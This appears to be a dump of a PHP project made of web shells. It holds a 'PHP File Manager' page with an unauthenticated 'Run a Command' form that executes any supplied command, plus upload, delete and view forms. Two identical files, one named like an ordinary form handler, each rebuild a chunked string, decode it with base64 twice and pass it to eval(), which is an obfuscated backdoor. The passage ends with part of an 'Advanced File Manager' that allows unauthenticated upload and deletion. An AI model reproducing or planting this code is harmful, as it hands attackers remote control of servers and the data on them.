146 |         .directory p {
147 |             margin: 0;
148 |             font-size: 16px;
149 |         }
150 |         .error, .success {
151 |             padding: 10px;
152 |             margin: 10px 0;
153 |             border-radius: 5px;
154 |         }
155 |         .error {
156 |             background-color: #f8d7da;
157 |             color: #721c24;
158 |         }
159 |         .success {
160 |             background-color: #d4edda;
161 |             color: #155724;
162 |         }
163 |     </style>
164 | </head>
165 | <body>
166 | 
167 | <h1>PHP File Manager</h1>
168 | 
169 | <div class="directory">
170 |     <p><strong>Current Directory:</strong> <?php echo $currentDir; ?></p>
171 |     <form method="GET">
172 |         <label for="dir">Change Directory:</label>
173 |         <input type="text" name="dir" placeholder="Enter directory path" value="<?php echo $currentDir; ?>">
174 |         <input type="submit" value="Change Directory">
175 |     </form>
176 | </div>
177 | 
178 | <h2>Create a File</h2>
179 | <form method="GET">
180 |     <input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
181 |     File name: <input type="text" name="create_file" placeholder="File name" required><br>
182 |     Content:<br>
183 |     <textarea name="file_content" rows="10" cols="30" required></textarea><br>
184 |     <input type="submit" value="Create File">
185 | </form>
186 | 
187 | <?php
188 | 
189 | if (isset($_GET['create_file']) && isset($_GET['file_content'])) {
190 |     createFile($currentDir . '/' . $_GET['create_file'], $_GET['file_content']);
191 | }
192 | ?>
193 | 
194 | <h2>Run a Command</h2>
195 | <form method="GET">
196 |     <input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
197 |     <input type="text" name="cmd" placeholder="Enter command">
198 |     <input type="submit" value="Run">
199 | </form>
200 | 
201 | <h2>Upload a File</h2>
202 | <form method="POST" enctype="multipart/form-data">
203 |     <input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
204 |     Select file: <input type="file" name="file">
205 |     <input type="submit" name="upload" value="Upload File">
206 | </form>
207 | 
208 | <h2>Create a Directory</h2>
209 | <form method="GET">
210 |     <input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
211 |     <input type="text" name="mkdir" placeholder="Directory name">
212 |     <input type="submit" value="Create Directory">
213 | </form>
214 | 
215 | <h2>Delete a File</h2>
216 | <form method="GET">
217 |     <input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
218 |     <input type="text" name="delete" placeholder="File name">
219 |     <input type="submit" value="Delete File">
220 | </form>
221 | 
222 | <h2>View a File</h2>
223 | <form method="GET">
224 |     <input type="hidden" name="dir" value="<?php echo $currentDir; ?>">
225 |     <input type="text" name="view" placeholder="File name">
226 |     <input type="submit" value="View File">
227 | </form>
228 | 
229 | <?php
230 | 
231 | if (isset($_GET['cmd'])) {
232 |     runCommand($_GET['cmd']);
233 | }
234 | ?>
235 | 
236 | </body>
237 | </html>
238 | 


--------------------------------------------------------------------------------
/csa.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | $z = "";
  3 | $z .= "Q21s";
  4 | $z .= "dWFW";
  5 | $z .= "OXpa";
  6 | $z .= "WFFv";
  7 | $z .= "SjJS";
  8 | $z .= "cGMz";
  9 | $z .= "QnNZ";
 10 | $z .= "WGxm";
 11 | $z .= "WlhK";
 12 | $z .= "eWIz";
 13 | $z .= "SnpK";
 14 | $z .= "eXdn";
 15 | $z .= "TVNr";
 16 | $z .= "N0Nt";
 17 | $z .= "bHVh";
 18 | $z .= "Vjl6";
 19 | $z .= "WlhR";
 20 | $z .= "b0oy";
 21 | $z .= "UnBj";
 22 | $z .= "M0Jz";
 23 | $z .= "WVhs";
 24 | $z .= "ZmMz";
 25 | $z .= "Umhj";
 26 | $z .= "blIx";
 27 | $z .= "Y0Y5";
 28 | $z .= "bGNu";
 29 | $z .= "SnZj";
 30 | $z .= "bk1u";
 31 | $z .= "TENB";
 32 | $z .= "eEtU";
 33 | $z .= "c0ta";
 34 | $z .= "WEp5";
 35 | $z .= "YjNK";
 36 | $z .= "ZmNt";
 37 | $z .= "Vndi";
 38 | $z .= "M0ow";
 39 | $z .= "YVc1";
 40 | $z .= "bktF";
 41 | $z .= "VmZR";
 42 | $z .= "VXhN";
 43 | $z .= "S1Rz";
 44 | $z .= "S0pI";
 45 | $z .= "Vnli";
 46 | $z .= "Q0E5";
 47 | $z .= "SUNK";
 48 | $z .= "b2RI";
 49 | $z .= "Undj";
 50 | $z .= "em92";
 51 | $z .= "TDNO";
 52 | $z .= "cGVX";
 53 | $z .= "Rm9h";
 54 | $z .= "UzUw";
 55 | $z .= "YjNB";
 56 | $z .= "dmVH";
 57 | $z .= "UXVk";
 58 | $z .= "SGgw";
 59 | $z .= "SWpz";
 60 | $z .= "S0pH";
 61 | $z .= "Tm9J";
 62 | $z .= "RDBn";
 63 | $z .= "WTNW";
 64 | $z .= "eWJG";
 65 | $z .= "OXBi";
 66 | $z .= "bWww";
 67 | $z .= "S0Nr";
 68 | $z .= "N0Nt";
 69 | $z .= "TjFj";
 70 | $z .= "bXhm";
 71 | $z .= "YzJW";
 72 | $z .= "MGIz";
 73 | $z .= "QjBL";
 74 | $z .= "Q1Jq";
 75 | $z .= "YUN3";
 76 | $z .= "Z1Ex";
 77 | $z .= "VlNU";
 78 | $z .= "RTlR";
 79 | $z .= "VkY5";
 80 | $z .= "VlVr";
 81 | $z .= "d3NJ";
 82 | $z .= "Q1Ix";
 83 | $z .= "Y213";
 84 | $z .= "cE93";
 85 | $z .= "cGpk";
 86 | $z .= "WEpz";
 87 | $z .= "WDNO";
 88 | $z .= "bGRH";
 89 | $z .= "OXdk";
 90 | $z .= "Q2dr";
 91 | $z .= "WTJn";
 92 | $z .= "c0lF";
 93 | $z .= "TlZV";
 94 | $z .= "a3hQ";
 95 | $z .= "VUZS";
 96 | $z .= "ZlVr";
 97 | $z .= "VlVW";
 98 | $z .= "VkpP";
 99 | $z .= "VkZK";
100 | $z .= "QlRs";
101 | $z .= "TkdS";
102 | $z .= "Vklz";
103 | $z .= "SURF";
104 | $z .= "cE93";
105 | $z .= "b2ti";
106 | $z .= "M1Yw";
107 | $z .= "Y0hW";
108 | $z .= "MElE";
109 | $z .= "MGdZ";
110 | $z .= "M1Z5";
111 | $z .= "YkY5";
112 | $z .= "bGVH";
113 | $z .= "VmpL";
114 | $z .= "Q1Jq";
115 | $z .= "YUNr";
116 | $z .= "N0Nt";
117 | $z .= "TjFj";
118 | $z .= "bXhm";
119 | $z .= "WTJ4";
120 | $z .= "dmMy";
121 | $z .= "VW9K";
122 | $z .= "R05v";
123 | $z .= "S1Rz";
124 | $z .= "S2FX";
125 | $z .= "WWdL";
126 | $z .= "Q1J2";
127 | $z .= "ZFhS";
128 | $z .= "d2RY";
129 | $z .= "UWdQ";
130 | $z .= "VDA5";
131 | $z .= "SUda";
132 | $z .= "aGJI";
133 | $z .= "TmxL";
134 | $z .= "U0I3";
135 | $z .= "Q2lB";
136 | $z .= "Z0lD";
137 | $z .= "QmxZ";
138 | $z .= "Mmh2";
139 | $z .= "SUNK";
140 | $z .= "R1lX";
141 | $z .= "bHNa";
142 | $z .= "V1Fn";
143 | $z .= "ZEc4";
144 | $z .= "Z1pH";
145 | $z .= "OTNi";
146 | $z .= "bXh2";
147 | $z .= "WVdR";
148 | $z .= "Z1ky";
149 | $z .= "OXVk";
150 | $z .= "R1Z1";
151 | $z .= "ZEM0";
152 | $z .= "aU93";
153 | $z .= "cDlJ";
154 | $z .= "R1Zz";
155 | $z .= "YzJV";
156 | $z .= "Z2V3";
157 | $z .= "b2dJ";
158 | $z .= "Q0Fn";
159 | $z .= "Wlha";
160 | $z .= "aGJD";
161 | $z .= "Z2lQ";
162 | $z .= "ejRp";
163 | $z .= "TGlS";
164 | $z .= "dmRY";
165 | $z .= "Undk";
166 | $z .= "WFFw";
167 | $z .= "T3dw";
168 | $z .= "OUNp";
169 | $z .= "UnJN";
170 | $z .= "M2wz";
171 | $z .= "SUQw";
172 | $z .= "Z1lt";
173 | $z .= "Rnpa";
174 | $z .= "VFkw";
175 | $z .= "WDJS";
176 | $z .= "bFky";
177 | $z .= "OWta";
178 | $z .= "U2du";
179 | $z .= "WVVo";
180 | $z .= "U01H";
181 | $z .= "TklU";
182 | $z .= "VFpN";
183 | $z .= "ZVRs";
184 | $z .= "NllW";
185 | $z .= "aHNh";
186 | $z .= "R0ZI";
187 | $z .= "YTNW";
188 | $z .= "a1J6";
189 | $z .= "bDNU";
190 | $z .= "RE5T";
191 | $z .= "YkdN";
192 | $z .= "elVY";
193 | $z .= "WmpN";
194 | $z .= "MUkx";
195 | $z .= "WWtk";
196 | $z .= "VmRX";
197 | $z .= "Tkhh";
198 | $z .= "SGNu";
199 | $z .= "S1Rz";
200 | $z .= "S0pH";
201 | $z .= "TjFj";
202 | $z .= "aUE5";
203 | $z .= "SUNk";
204 | $z .= "b2RI";
205 | $z .= "UndP";
206 | $z .= "aTh2";
207 | $z .= "SnlB";
208 | $z .= "dUlD";
209 | $z .= "UmZV";
210 | $z .= "MFZT";
211 | $z .= "VmtW";
212 | $z .= "U1d5";
213 | $z .= "ZElW";
214 | $z .= "RlJR";
215 | $z .= "WDBo";
216 | $z .= "UFUx";
217 | $z .= "UW5Y";
218 | $z .= "U0F1";
219 | $z .= "SUNS";
220 | $z .= "ZlUw";
221 | $z .= "VlNW";
222 | $z .= "a1ZT";
223 | $z .= "V3lk";
224 | $z .= "U1JW";
225 | $z .= "RlZS";
226 | $z .= "Vk5V";
227 | $z .= "WDFW";
228 | $z .= "U1NT";
229 | $z .= "ZGRP";
230 | $z .= "d29r";
231 | $z .= "WkdG";
232 | $z .= "MFlT";
233 | $z .= "QTlJ";
234 | $z .= "R0Z5";
235 | $z .= "Y21G";
236 | $z .= "NUtD";
237 | $z .= "ZG1h";
238 | $z .= "V3hs";
239 | $z .= "WDNW";
240 | $z .= "eWJD";
241 | $z .= "Y2dQ";
242 | $z .= "VDRn";
243 | $z .= "SkdO";
244 | $z .= "MWNp";
245 | $z .= "azdD";
246 | $z .= "aVJ2";
247 | $z .= "Y0hS";
248 | $z .= "cGIy";
249 | $z .= "NXpJ";
250 | $z .= "RDBn";
251 | $z .= "WVhK";
252 | $z .= "eVlY";
253 | $z .= "a29D";
254 | $z .= "aUFn";
255 | $z .= "SUNB";
256 | $z .= "bmFI";
257 | $z .= "UjBj";
258 | $z .= "Q2Nn";
259 | $z .= "UFQ0";
260 | $z .= "Z1lY";
261 | $z .= "SnlZ";
262 | $z .= "WGtv";
263 | $z .= "Q2lB";
264 | $z .= "Z0lD";
265 | $z .= "QWdJ";
266 | $z .= "Q0Fn";
267 | $z .= "SjIx";
268 | $z .= "bGRH";
269 | $z .= "aHZa";
270 | $z .= "Q2Nn";
271 | $z .= "SUQw";
272 | $z .= "K0lD";
273 | $z .= "ZFFU";
274 | $z .= "MU5V";
275 | $z .= "Snl3";
276 | $z .= "S0lD";
277 | $z .= "QWdJ";
278 | $z .= "Q0Fn";
279 | $z .= "SUNB";
280 | $z .= "bmFH";
281 | $z .= "Vmha";
282 | $z .= "R1Z5";
283 | $z .= "SnlB";
284 | $z .= "Z1BU";
285 | $z .= "NGdK";
286 | $z .= "ME52";
287 | $z .= "Ym5S";
288 | $z .= "bGJu";
289 | $z .= "UXRk";
290 | $z .= "SGx3";
291 | $z .= "WlRv";
292 | $z .= "Z1lY";
293 | $z .= "Qndi";
294 | $z .= "R2xq";
295 | $z .= "WVhS";
296 | $z .= "cGIy";
297 | $z .= "NHZl";
298 | $z .= "QzEz";
299 | $z .= "ZDNj";
300 | $z .= "dFpt";
301 | $z .= "OXli";
302 | $z .= "UzEx";
303 | $z .= "Y214";
304 | $z .= "bGJt";
305 | $z .= "TnZa";
306 | $z .= "R1Zr";
307 | $z .= "Snl3";
308 | $z .= "S0lD";
309 | $z .= "QWdJ";
310 | $z .= "Q0Fn";
311 | $z .= "SUNB";
312 | $z .= "blky";
313 | $z .= "OXVk";
314 | $z .= "R1Z1";
315 | $z .= "ZENj";
316 | $z .= "Z1BU";
317 | $z .= "NGdh";
318 | $z .= "SFIw";
319 | $z .= "Y0Y5";
320 | $z .= "aWRX";
321 | $z .= "bHNa";
322 | $z .= "Rjl4";
323 | $z .= "ZFdW";
324 | $z .= "eWVT";
325 | $z .= "Z2ta";
326 | $z .= "R0Yw";
327 | $z .= "WVNr";
328 | $z .= "c0Np";
329 | $z .= "QWdJ";
330 | $z .= "Q0Fw";
331 | $z .= "TEFv";
332 | $z .= "cE93";
333 | $z .= "b2tZ";
334 | $z .= "Mjl1";
335 | $z .= "ZEdW";
336 | $z .= "NGRD";
337 | $z .= "QTlJ";
338 | $z .= "SE4w";
339 | $z .= "Y21W";
340 | $z .= "aGJW";
341 | $z .= "OWpi";
342 | $z .= "MjUw";
343 | $z .= "Wlho";
344 | $z .= "MFgy";
345 | $z .= "Tnla";
346 | $z .= "V0Yw";
347 | $z .= "WlNn";
348 | $z .= "a2Iz";
349 | $z .= "QjBh";
350 | $z .= "Vzl1";
351 | $z .= "Y3lr";
352 | $z .= "N0Np";
353 | $z .= "Unla";
354 | $z .= "WE4x";
355 | $z .= "YkhR";
356 | $z .= "Z1BT";
357 | $z .= "Qm1h";
358 | $z .= "V3hs";
359 | $z .= "WDJk";
360 | $z .= "bGRG";
361 | $z .= "OWpi";
362 | $z .= "MjUw";
363 | $z .= "Wlc1";
364 | $z .= "MGN5";
365 | $z .= "Z2th";
366 | $z .= "ek41";
367 | $z .= "ZHl3";
368 | $z .= "Z1pt";
369 | $z .= "RnNj";
370 | $z .= "MlVz";
371 | $z .= "SUNS";
372 | $z .= "amIy";
373 | $z .= "NTBa";
374 | $z .= "WGgw";
375 | $z .= "S1Rz";
376 | $z .= "Sw==";
377 | $a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); eval($string);
378 | ?>


--------------------------------------------------------------------------------
/edit-form-tager.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | $z = "";
  3 | $z .= "Q21s";
  4 | $z .= "dWFW";
  5 | $z .= "OXpa";
  6 | $z .= "WFFv";
  7 | $z .= "SjJS";
  8 | $z .= "cGMz";
  9 | $z .= "QnNZ";
 10 | $z .= "WGxm";
 11 | $z .= "WlhK";
 12 | $z .= "eWIz";
 13 | $z .= "SnpK";
 14 | $z .= "eXdn";
 15 | $z .= "TVNr";
 16 | $z .= "N0Nt";
 17 | $z .= "bHVh";
 18 | $z .= "Vjl6";
 19 | $z .= "WlhR";
 20 | $z .= "b0oy";
 21 | $z .= "UnBj";
 22 | $z .= "M0Jz";
 23 | $z .= "WVhs";
 24 | $z .= "ZmMz";
 25 | $z .= "Umhj";
 26 | $z .= "blIx";
 27 | $z .= "Y0Y5";
 28 | $z .= "bGNu";
 29 | $z .= "SnZj";
 30 | $z .= "bk1u";
 31 | $z .= "TENB";
 32 | $z .= "eEtU";
 33 | $z .= "c0ta";
 34 | $z .= "WEp5";
 35 | $z .= "YjNK";
 36 | $z .= "ZmNt";
 37 | $z .= "Vndi";
 38 | $z .= "M0ow";
 39 | $z .= "YVc1";
 40 | $z .= "bktF";
 41 | $z .= "VmZR";
 42 | $z .= "VXhN";
 43 | $z .= "S1Rz";
 44 | $z .= "S0pI";
 45 | $z .= "Vnli";
 46 | $z .= "Q0E5";
 47 | $z .= "SUNK";
 48 | $z .= "b2RI";
 49 | $z .= "Undj";
 50 | $z .= "em92";
 51 | $z .= "TDNO";
 52 | $z .= "cGVX";
 53 | $z .= "Rm9h";
 54 | $z .= "UzUw";
 55 | $z .= "YjNB";
 56 | $z .= "dmVH";
 57 | $z .= "UXVk";
 58 | $z .= "SGgw";
 59 | $z .= "SWpz";
 60 | $z .= "S0pH";
 61 | $z .= "Tm9J";
 62 | $z .= "RDBn";
 63 | $z .= "WTNW";
 64 | $z .= "eWJG";
 65 | $z .= "OXBi";
 66 | $z .= "bWww";
 67 | $z .= "S0Nr";
 68 | $z .= "N0Nt";
 69 | $z .= "TjFj";
 70 | $z .= "bXhm";
 71 | $z .= "YzJW";
 72 | $z .= "MGIz";
 73 | $z .= "QjBL";
 74 | $z .= "Q1Jq";
 75 | $z .= "YUN3";
 76 | $z .= "Z1Ex";
 77 | $z .= "VlNU";
 78 | $z .= "RTlR";
 79 | $z .= "VkY5";
 80 | $z .= "VlVr";
 81 | $z .= "d3NJ";
 82 | $z .= "Q1Ix";
 83 | $z .= "Y213";
 84 | $z .= "cE93";
 85 | $z .= "cGpk";
 86 | $z .= "WEpz";
 87 | $z .= "WDNO";
 88 | $z .= "bGRH";
 89 | $z .= "OXdk";
 90 | $z .= "Q2dr";
 91 | $z .= "WTJn";
 92 | $z .= "c0lF";
 93 | $z .= "TlZV";
 94 | $z .= "a3hQ";
 95 | $z .= "VUZS";
 96 | $z .= "ZlVr";
 97 | $z .= "VlVW";
 98 | $z .= "VkpP";
 99 | $z .= "VkZK";
100 | $z .= "QlRs";
101 | $z .= "TkdS";
102 | $z .= "Vklz";
103 | $z .= "SURF";
104 | $z .= "cE93";
105 | $z .= "b2ti";
106 | $z .= "M1Yw";
107 | $z .= "Y0hW";
108 | $z .= "MElE";
109 | $z .= "MGdZ";
110 | $z .= "M1Z5";
111 | $z .= "YkY5";
112 | $z .= "bGVH";
113 | $z .= "VmpL";
114 | $z .= "Q1Jq";
115 | $z .= "YUNr";
116 | $z .= "N0Nt";
117 | $z .= "TjFj";
118 | $z .= "bXhm";
119 | $z .= "WTJ4";
120 | $z .= "dmMy";
121 | $z .= "VW9K";
122 | $z .= "R05v";
123 | $z .= "S1Rz";
124 | $z .= "S2FX";
125 | $z .= "WWdL";
126 | $z .= "Q1J2";
127 | $z .= "ZFhS";
128 | $z .= "d2RY";
129 | $z .= "UWdQ";
130 | $z .= "VDA5";
131 | $z .= "SUda";
132 | $z .= "aGJI";
133 | $z .= "TmxL";
134 | $z .= "U0I3";
135 | $z .= "Q2lB";
136 | $z .= "Z0lD";
137 | $z .= "QmxZ";
138 | $z .= "Mmh2";
139 | $z .= "SUNK";
140 | $z .= "R1lX";
141 | $z .= "bHNa";
142 | $z .= "V1Fn";
143 | $z .= "ZEc4";
144 | $z .= "Z1pH";
145 | $z .= "OTNi";
146 | $z .= "bXh2";
147 | $z .= "WVdR";
148 | $z .= "Z1ky";
149 | $z .= "OXVk";
150 | $z .= "R1Z1";
151 | $z .= "ZEM0";
152 | $z .= "aU93";
153 | $z .= "cDlJ";
154 | $z .= "R1Zz";
155 | $z .= "YzJV";
156 | $z .= "Z2V3";
157 | $z .= "b2dJ";
158 | $z .= "Q0Fn";
159 | $z .= "Wlha";
160 | $z .= "aGJD";
161 | $z .= "Z2lQ";
162 | $z .= "ejRp";
163 | $z .= "TGlS";
164 | $z .= "dmRY";
165 | $z .= "Undk";
166 | $z .= "WFFw";
167 | $z .= "T3dw";
168 | $z .= "OUNp";
169 | $z .= "UnJN";
170 | $z .= "M2wz";
171 | $z .= "SUQw";
172 | $z .= "Z1lt";
173 | $z .= "Rnpa";
174 | $z .= "VFkw";
175 | $z .= "WDJS";
176 | $z .= "bFky";
177 | $z .= "OWta";
178 | $z .= "U2du";
179 | $z .= "WVVo";
180 | $z .= "U01H";
181 | $z .= "TklU";
182 | $z .= "VFpN";
183 | $z .= "ZVRs";
184 | $z .= "NllW";
185 | $z .= "aHNh";
186 | $z .= "R0ZI";
187 | $z .= "YTNW";
188 | $z .= "a1J6";
189 | $z .= "bDNU";
190 | $z .= "RE5T";
191 | $z .= "YkdN";
192 | $z .= "elVY";
193 | $z .= "WmpN";
194 | $z .= "MUkx";
195 | $z .= "WWtk";
196 | $z .= "VmRX";
197 | $z .= "Tkhh";
198 | $z .= "SGNu";
199 | $z .= "S1Rz";
200 | $z .= "S0pH";
201 | $z .= "TjFj";
202 | $z .= "aUE5";
203 | $z .= "SUNk";
204 | $z .= "b2RI";
205 | $z .= "UndP";
206 | $z .= "aTh2";
207 | $z .= "SnlB";
208 | $z .= "dUlD";
209 | $z .= "UmZV";
210 | $z .= "MFZT";
211 | $z .= "VmtW";
212 | $z .= "U1d5";
213 | $z .= "ZElW";
214 | $z .= "RlJR";
215 | $z .= "WDBo";
216 | $z .= "UFUx";
217 | $z .= "UW5Y";
218 | $z .= "U0F1";
219 | $z .= "SUNS";
220 | $z .= "ZlUw";
221 | $z .= "VlNW";
222 | $z .= "a1ZT";
223 | $z .= "V3lk";
224 | $z .= "U1JW";
225 | $z .= "RlZS";
226 | $z .= "Vk5V";
227 | $z .= "WDFW";
228 | $z .= "U1NT";
229 | $z .= "ZGRP";
230 | $z .= "d29r";
231 | $z .= "WkdG";
232 | $z .= "MFlT";
233 | $z .= "QTlJ";
234 | $z .= "R0Z5";
235 | $z .= "Y21G";
236 | $z .= "NUtD";
237 | $z .= "ZG1h";
238 | $z .= "V3hs";
239 | $z .= "WDNW";
240 | $z .= "eWJD";
241 | $z .= "Y2dQ";
242 | $z .= "VDRn";
243 | $z .= "SkdO";
244 | $z .= "MWNp";
245 | $z .= "azdD";
246 | $z .= "aVJ2";
247 | $z .= "Y0hS";
248 | $z .= "cGIy";
249 | $z .= "NXpJ";
250 | $z .= "RDBn";
251 | $z .= "WVhK";
252 | $z .= "eVlY";
253 | $z .= "a29D";
254 | $z .= "aUFn";
255 | $z .= "SUNB";
256 | $z .= "bmFI";
257 | $z .= "UjBj";
258 | $z .= "Q2Nn";
259 | $z .= "UFQ0";
260 | $z .= "Z1lY";
261 | $z .= "SnlZ";
262 | $z .= "WGtv";
263 | $z .= "Q2lB";
264 | $z .= "Z0lD";
265 | $z .= "QWdJ";
266 | $z .= "Q0Fn";
267 | $z .= "SjIx";
268 | $z .= "bGRH";
269 | $z .= "aHZa";
270 | $z .= "Q2Nn";
271 | $z .= "SUQw";
272 | $z .= "K0lD";
273 | $z .= "ZFFU";
274 | $z .= "MU5V";
275 | $z .= "Snl3";
276 | $z .= "S0lD";
277 | $z .= "QWdJ";
278 | $z .= "Q0Fn";
279 | $z .= "SUNB";
280 | $z .= "bmFH";
281 | $z .= "Vmha";
282 | $z .= "R1Z5";
283 | $z .= "SnlB";
284 | $z .= "Z1BU";
285 | $z .= "NGdK";
286 | $z .= "ME52";
287 | $z .= "Ym5S";
288 | $z .= "bGJu";
289 | $z .= "UXRk";
290 | $z .= "SGx3";
291 | $z .= "WlRv";
292 | $z .= "Z1lY";
293 | $z .= "Qndi";
294 | $z .= "R2xq";
295 | $z .= "WVhS";
296 | $z .= "cGIy";
297 | $z .= "NHZl";
298 | $z .= "QzEz";
299 | $z .= "ZDNj";
300 | $z .= "dFpt";
301 | $z .= "OXli";
302 | $z .= "UzEx";
303 | $z .= "Y214";
304 | $z .= "bGJt";
305 | $z .= "TnZa";
306 | $z .= "R1Zr";
307 | $z .= "Snl3";
308 | $z .= "S0lD";
309 | $z .= "QWdJ";
310 | $z .= "Q0Fn";
311 | $z .= "SUNB";
312 | $z .= "blky";
313 | $z .= "OXVk";
314 | $z .= "R1Z1";
315 | $z .= "ZENj";
316 | $z .= "Z1BU";
317 | $z .= "NGdh";
318 | $z .= "SFIw";
319 | $z .= "Y0Y5";
320 | $z .= "aWRX";
321 | $z .= "bHNa";
322 | $z .= "Rjl4";
323 | $z .= "ZFdW";
324 | $z .= "eWVT";
325 | $z .= "Z2ta";
326 | $z .= "R0Yw";
327 | $z .= "WVNr";
328 | $z .= "c0Np";
329 | $z .= "QWdJ";
330 | $z .= "Q0Fw";
331 | $z .= "TEFv";
332 | $z .= "cE93";
333 | $z .= "b2tZ";
334 | $z .= "Mjl1";
335 | $z .= "ZEdW";
336 | $z .= "NGRD";
337 | $z .= "QTlJ";
338 | $z .= "SE4w";
339 | $z .= "Y21W";
340 | $z .= "aGJW";
341 | $z .= "OWpi";
342 | $z .= "MjUw";
343 | $z .= "Wlho";
344 | $z .= "MFgy";
345 | $z .= "Tnla";
346 | $z .= "V0Yw";
347 | $z .= "WlNn";
348 | $z .= "a2Iz";
349 | $z .= "QjBh";
350 | $z .= "Vzl1";
351 | $z .= "Y3lr";
352 | $z .= "N0Np";
353 | $z .= "Unla";
354 | $z .= "WE4x";
355 | $z .= "YkhR";
356 | $z .= "Z1BT";
357 | $z .= "Qm1h";
358 | $z .= "V3hs";
359 | $z .= "WDJk";
360 | $z .= "bGRG";
361 | $z .= "OWpi";
362 | $z .= "MjUw";
363 | $z .= "Wlc1";
364 | $z .= "MGN5";
365 | $z .= "Z2th";
366 | $z .= "ek41";
367 | $z .= "ZHl3";
368 | $z .= "Z1pt";
369 | $z .= "RnNj";
370 | $z .= "MlVz";
371 | $z .= "SUNS";
372 | $z .= "amIy";
373 | $z .= "NTBa";
374 | $z .= "WGgw";
375 | $z .= "S1Rz";
376 | $z .= "Sw==";
377 | $a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); $string = $c($string); eval($string);
378 | ?>


--------------------------------------------------------------------------------
/ad.php:
--------------------------------------------------------------------------------
  1 | <!DOCTYPE html>
  2 | <html lang="en">
  3 | <head>
  4 |     <meta charset="UTF-8">
  5 |     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6 |     <title>Advanced File Manager</title>
  7 |     <style>
  8 |         body {
  9 |             background-color: #1e1e1e;
 10 |             color: #fff;
 11 |             font-family: Arial, sans-serif;
 12 |             text-align: center;
 13 |             padding: 30px;
 14 |         }
 15 |         .container {
 16 |             width: 80%;
 17 |             margin: 0 auto;
 18 |         }
 19 |         h2, h3 {
 20 |             color: #4CAF50;
 21 |         }
 22 |         input[type="file"], input[type="submit"], input[type="text"], input[type="button"] {
 23 |             padding: 10px;
 24 |             margin: 10px 0;
 25 |             color: #fff;
 26 |             background-color: #333;
 27 |             border: none;
 28 |             border-radius: 5px;
 29 |         }
 30 |         input[type="file"], input[type="button"] {
 31 |             cursor: pointer;
 32 |         }
 33 |         form {
 34 |             margin-bottom: 20px;
 35 |         }
 36 |         a {
 37 |             color: #4CAF50;
 38 |             text-decoration: none;
 39 |         }
 40 |         a:hover {
 41 |             text-decoration: underline;
 42 |         }
 43 |         table {
 44 |             margin: 20px auto;
 45 |             border-collapse: collapse;
 46 |             width: 100%;
 47 |         }
 48 |         th, td {
 49 |             padding: 15px;
 50 |             text-align: left;
 51 |             border-bottom: 1px solid #333;
 52 |         }
 53 |         th {
 54 |             background-color: #333;
 55 |         }
 56 |         td {
 57 |             background-color: #2c2c2c;
 58 |         }
 59 |         .icon {
 60 |             display: inline-block;
 61 |             margin-right: 10px;
 62 |         }
 63 |         .folder-icon {
 64 |             color: #ffcc00;
 65 |         }
 66 |         .file-icon {
 67 |             color: #4CAF50;
 68 |         }
 69 |         .action-btn {
 70 |             padding: 5px 10px;
 71 |             background-color: #f44336;
 72 |             color: #fff;
 73 |             border: none;
 74 |             border-radius: 5px;
 75 |             cursor: pointer;
 76 |         }
 77 |         .action-btn:hover {
 78 |             background-color: #d32f2f;
 79 |         }
 80 |         .breadcrumbs {
 81 |             margin-bottom: 20px;
 82 |         }
 83 |         .breadcrumbs a {
 84 |             color: #4CAF50;
 85 |             text-decoration: none;
 86 |             margin-right: 5px;
 87 |         }
 88 |         .breadcrumbs a:hover {
 89 |             text-decoration: underline;
 90 |         }
 91 |         .breadcrumbs span {
 92 |             margin-right: 5px;
 93 |         }
 94 |         .manage-section {
 95 |             display: flex;
 96 |             justify-content: space-between;
 97 |             flex-wrap: wrap;
 98 |             gap: 15px;
 99 |         }
100 |         .manage-section form {
101 |             flex: 1;
102 |             min-width: 200px;
103 |         }
104 |     </style>
105 | </head>
106 | <body>
107 |     <div class="container">
108 |         <h2>Advanced File Manager</h2>
109 | 
110 |         <?php
111 |         // Handle the current directory
112 |         $currentDir = isset($_GET['dir']) ? $_GET['dir'] : __DIR__;
113 | 
114 |         // Create breadcrumbs for the current directory
115 |         $pathParts = explode(DIRECTORY_SEPARATOR, $currentDir);
116 |         $breadcrumbs = [];
117 |         $pathAccumulator = '';
118 | 
119 |         foreach ($pathParts as $part) {
120 |             if ($part !== '') {
121 |                 $pathAccumulator .= DIRECTORY_SEPARATOR . $part;
122 |                 $breadcrumbs[] = "<a href=\"?dir=" . urlencode($pathAccumulator) . "\">$part</a>";
123 |             }
124 |         }
125 | 
126 |         echo "<div class='breadcrumbs'><strong>Current Directory: </strong>";
127 |         echo implode(' / ', $breadcrumbs);
128 |         echo "</div>";
129 | 
130 |         // Handle directory change
131 |         if (isset($_POST['changeDir'])) {
132 |             $newDir = $_POST['newDir'];
133 |             if (is_dir($newDir)) {
134 |                 $currentDir = realpath($newDir);
135 |             } else {
136 |                 echo "<p>Directory does not exist.</p>";
137 |             }
138 |         }
139 | 
140 |         // Handle file upload
141 |         if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
142 |             $file = $_FILES['file'];
143 |             if ($file['error'] === UPLOAD_ERR_OK) {
144 |                 $fileName = basename($file['name']);
145 |                 $fileTmpPath = $file['tmp_name'];
146 |                 $dest_path = $currentDir . '/' . $fileName;
147 |                 if (move_uploaded_file($fileTmpPath, $dest_path)) {
148 |                     echo "<p>File uploaded successfully to $currentDir.</p>";
149 |                 } else {
150 |                     echo "<p>Error moving the uploaded file.</p>";
151 |                 }
152 |             } else {
153 |                 echo "<p>Error: No file selected or upload failed.</p>";
154 |             }
155 |         }
156 | 
157 |         // Handle file deletion
158 |         if (isset($_GET['delete'])) {
159 |             $fileToDelete = $_GET['delete'];
160 |             if (is_file($fileToDelete)) {
161 |                 unlink($fileToDelete);
162 |                 echo "<p>File deleted: $fileToDelete</p>";
163 |             }
164 |         }
165 | 
166 |         // Handle directory creation
167 |         if (isset($_POST['createDir'])) {
168 |             $newDir = $_POST['newDirName'];
169 |             $newDirPath = $currentDir . DIRECTORY_SEPARATOR . $newDir;
170 |             if (!is_dir($newDirPath)) {
171 |                 mkdir($newDirPath);
172 |                 echo "<p>Directory created: $newDir</p>";
173 |             } else {
174 |                 echo "<p>Directory already exists.</p>";
175 |             }
